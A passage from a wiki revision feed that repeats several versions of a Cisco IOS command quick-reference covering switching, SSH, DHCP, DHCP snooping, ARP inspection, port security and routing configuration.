| Unknown and unused || 255 (An administrative distance of 255 causes the router to remove the route from the routing table and not use it.)<br />
|}<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1124
Cisco Commands
2026-02-23T22:42:30Z
<p>50.220.241.211: /* Administrative Distance */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
{| class="wikitable" style="text-align:center"<br />
! Routing protocol !! Administrative distance<br />
|-<br />
| Directly connected interface || 0 (Only the interface itself has an administrative distance of 0, since a route cannot have a distance of less than 1.)<br />
|-<br />
| Static route || 1<br />
|-<br />
| Dynamic Mobile Network Routing (DMNR) || 3<br />
|-<br />
| EIGRP summary route || 5<br />
|-<br />
| External BGP || 20<br />
|-<br />
| EIGRP internal route || 90<br />
|-<br />
| IGRP || 100<br />
|-<br />
| Open Shortest Path First (OSPF) || 110<br />
|-<br />
| Intermediate System to Intermediate System (IS-IS) || 115<br />
|-<br />
| Routing Information Protocol (RIP) || 120<br />
|-<br />
| Exterior Gateway Protocol (EGP) || 140<br />
|-<br />
| On Demand Routing (ODR) || 160<br />
|-<br />
| EIGRP external route || 170<br />
|-<br />
| Internal BGP || 200<br />
|-<br />
| Next Hop Resolution Protocol (NHRP) || 250<br />
|-<br />
| Default static route learned via DHCP || 254<br />
|-<br />
| Unknown and unused || 255 (An administrative distance of 255 causes the router to remove the route from the routing table and not use it.)<br />
|}<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1123
Cisco Commands
2026-02-23T22:40:00Z
<p>50.220.241.211: /* Administrative Distance */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway (switch) ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
